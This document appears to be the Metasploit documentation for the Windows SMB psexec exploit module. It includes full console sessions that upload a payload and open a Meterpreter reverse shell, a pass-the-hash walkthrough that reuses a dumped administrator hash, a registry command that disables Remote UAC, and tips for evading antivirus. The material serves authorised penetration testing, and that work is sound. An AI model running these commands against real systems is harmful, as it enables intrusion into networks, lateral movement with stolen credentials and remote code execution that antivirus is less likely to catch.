148 lines
6.8 KiB
Markdown
148 lines
6.8 KiB
Markdown
## Vulnerable Application
|
|
PsExec is one of the most popular exploits against Microsoft Windows. It is a great way to test password security and demonstrate how a
|
|
stolen password could lead to a complete compromise of an entire corporate network.
|
|
|
|
To be able to use `exploit/windows/smb/psexec`:
|
|
|
|
1. A valid username and password must be set.
|
|
1. The firewall must allow SMB traffic.
|
|
1. The remote Windows machine's network security policy must allow it. See the "Disabling Remote UAC" section below.
|
|
|
|
### Disabling Remote UAC
|
|
If the specified account is a local Administrator and the target is Windows Vista or newer, then "Remote UAC" must be
|
|
disabled (the `DWORD` value
|
|
`HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy` must be 1).
|
|
See [Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy][1] for more information. Without this setting, the
|
|
server will respond with `STATUS_ACCESS_DENIED` and PsExec will fail.
|
|
|
|
Set this registry with the following command:
|
|
```
|
|
REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
|
|
```
|
|
|
|
## Verification Steps
|
|
|
|
At the minimum, you should be able use psexec to get a session with a valid credential using the following:
|
|
|
|
```
|
|
msf > use exploit/windows/smb/psexec
|
|
msf exploit(psexec) > set RHOST 192.168.1.80
|
|
RHOST => 192.168.1.80
|
|
msf exploit(psexec) > set SMBUser Administrator
|
|
SMBUser => Administrator
|
|
msf exploit(psexec) > set SMBPass goodpass
|
|
SMBPass => goodpass
|
|
msf exploit(psexec) > exploit
|
|
|
|
[*] Started reverse TCP handler on 192.168.1.199:4444
|
|
[*] 192.168.1.80:445 - Connecting to the server...
|
|
[*] 192.168.1.80:445 - Authenticating to 192.168.1.80:445 as user 'Administrator'...
|
|
[*] 192.168.1.80:445 - Selecting native target
|
|
[*] 192.168.1.80:445 - Uploading payload...
|
|
[*] 192.168.1.80:445 - Created \PTIhqIrQ.exe...
|
|
[+] 192.168.1.80:445 - Service started successfully...
|
|
[*] 192.168.1.80:445 - Deleting \PTIhqIrQ.exe...
|
|
[*] Sending stage (957999 bytes) to 192.168.1.80
|
|
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1042) at 2016-03-01 16:51:56 -0600
|
|
|
|
meterpreter >
|
|
```
|
|
|
|
## Options
|
|
|
|
By default, using exploit/windows/smb/psexec can be as simple as setting the RHOST option, and you're ready to go. But in reality, you will
|
|
probably need to at least configure:
|
|
|
|
**The SMBUser Option**
|
|
|
|
This is a valid Windows username.
|
|
|
|
**The SMBPass option**
|
|
|
|
This can be either the plain text version or the Windows hash.
|
|
|
|
## Scenarios
|
|
|
|
|
|
**Pass the Hash**
|
|
|
|
One common penetration testing scenario using psexec is that attackers usually begin by breaking into a box, dumping the hashes, and using
|
|
some of those hashes to log into other boxes on the network using psexec. So in that scenario, with the following stolen hash:
|
|
|
|
```
|
|
meterpreter > hashdump
|
|
Administrator:500:e39baff0f2c5fd4e93e28745b8bf4ba6:f4974ee4a935ee160a927eafbb3f317f:::
|
|
```
|
|
|
|
You can simply copy and paste it to the SMBPass option in psexec and get a session without needing to crack the hash:
|
|
|
|
```
|
|
msf > use exploit/windows/smb/psexec
|
|
msf exploit(psexec) > set SMBUser Administrator
|
|
SMBUser => Administrator
|
|
msf exploit(psexec) > set SMBPass e39baff0f2c5fd4e93e28745b8bf4ba6:f4974ee4a935ee160a927eafbb3f317f
|
|
SMBPass => e39baff0f2c5fd4e93e28745b8bf4ba6:f4974ee4a935ee160a927eafbb3f317f
|
|
msf exploit(psexec) > set RHOST 192.168.1.80
|
|
RHOST => 192.168.1.80
|
|
msf exploit(psexec) > exploit
|
|
|
|
[*] Started reverse TCP handler on 192.168.1.199:4444
|
|
[*] 192.168.1.80:445 - Connecting to the server...
|
|
[*] 192.168.1.80:445 - Authenticating to 192.168.1.80:445 as user 'Administrator'...
|
|
[*] 192.168.1.80:445 - Selecting native target
|
|
[*] 192.168.1.80:445 - Uploading payload...
|
|
[*] 192.168.1.80:445 - Created \QpxKDHyG.exe...
|
|
[+] 192.168.1.80:445 - Service started successfully...
|
|
[*] 192.168.1.80:445 - Deleting \QpxKDHyG.exe...
|
|
[*] Sending stage (957999 bytes) to 192.168.1.80
|
|
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1043) at 2016-03-01 17:02:46 -0600
|
|
|
|
meterpreter >
|
|
```
|
|
|
|
**Automatic Target**
|
|
|
|
There are multiple targets available for exploit/windows/smb/psexec. The Automatic target is the default target. If the Automatic target
|
|
detects Powershell on the remote machine, it will try Powershell, otherwise it uses the natie upload. Each target is explained below.
|
|
|
|
**Powershell Target**
|
|
|
|
The Powershell target forces the psexec module to run a Powershell command with a payload embedded in it. Since this approach does not
|
|
leave anything on disk, it is a very powerful way to evade antivirus. However, older Windows machines might not support Powershell by
|
|
default.
|
|
|
|
Because of this, you will probably want to use the Automatic target setting. The automatic mode will check if the target supports
|
|
Powershell before it tries it; the manually set Powershell target won't do that.
|
|
|
|
**Native Upload Target**
|
|
|
|
The Native target will attempt to upload the payload (executable) to SYSTEM32 (which can be modified with the
|
|
SMBSHARE datastore option), and then execute it with psexec.
|
|
|
|
This approach is generally reliable, but has a high chance of getting caught by antivirus on the target. To counter this, you can try to
|
|
use a template by setting the EXE::Path and EXE::Template datastore options. Or, you can supply your own custom EXE by setting the
|
|
`EXE::Custom` option.
|
|
|
|
**MOF Upload Target**
|
|
|
|
The [MOF](https://docs.metasploit.com/docs/development/developing-modules/libraries/how-to-use-wbemexec-for-a-write-privilege-attack-on-windows.html) target
|
|
technically does not use psexec; it does not explicitly tell Windows to execute anything. All it does is upload two files: the payload
|
|
(exe) in SYSTEM32 and a managed object format file in SYSTEM32\wbem\mof\ directory. When Windows sees the MOF file in that directory, it
|
|
automatically runs it. Once executed, the code inside the MOF file basically tells Windows to execute our payload in SYSTEM32, and you get
|
|
a session.
|
|
|
|
Although it's a neat trick, Metasploit's MOF library only works against Windows XP and Windows Server 2003. And since it writes files to
|
|
disk, there is also a high chance of getting caught by antivirus on the target.
|
|
|
|
The best way to counter antivirus is still the same. You can either use a different template by setting the EXE::Path and EXE::Template
|
|
datastore options or you can supply your own custom EXE by setting the EXE::Custom option.
|
|
|
|
**Command**
|
|
|
|
The command target causes the psexec operation to execute an operating system command. This can either be a `cmd/windows/` payload provided
|
|
by Metasploit, or the user can specify their own by using the `cmd/windows/generic` payload and setting `CMD`. The output of the command
|
|
will be written to a file and then retrieved so that it is accessible. If the command does not immediately return, then reading the output
|
|
will fail.
|
|
|
|
[1]: https://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/
|